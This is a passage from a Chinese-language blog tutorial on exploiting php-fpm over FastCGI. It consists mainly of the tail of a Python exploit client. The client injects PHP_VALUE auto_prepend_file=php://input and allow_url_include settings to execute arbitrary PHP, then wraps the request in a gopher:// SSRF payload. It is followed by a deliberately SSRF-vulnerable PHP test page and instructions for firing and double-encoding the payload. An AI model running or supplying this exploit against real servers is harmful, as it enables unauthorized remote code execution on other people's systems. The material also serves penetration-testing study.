#self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
#self.requests[requestId]['response'] = ''
#return self.__waitForResponse(requestId)
return request

def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf

data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

args = parser.parse_args()

client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
# 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
#response = client.request(params, content)
#print(force_text(response))
request_ssrf = urlparse.quote(client.request(params, content))
print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

服务器测试代码如下

1
2
3
4
5
6
7
8
9
10
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);

执行python fpm_ssrf.py -c '<?php echoid; ?>' -p 9000 127.0.0.1 /var/www/html/index.php生成payload打过去就行
但是要注意一点,payload需要urlencode两次,因为nginx会解码一次,然后php-fpm解码一次
或者用GitHub上的脚本也行

CATALOG
  1. 1. 前言
  2. 2. 概念
    1. 2.1. Fastcgi
      1. 2.1.1. 消息头
      2. 2.1.2. 消息类型
      3. 2.1.3. 交互过程
    2. 2.2. php-fpm
  3. 3. tcp模式下的php-fpm未授权访问攻击
  4. 4. unix套接字模式下的php-fpm攻击
  5. 5. tcp模式下ssrf攻击本地的php-fpm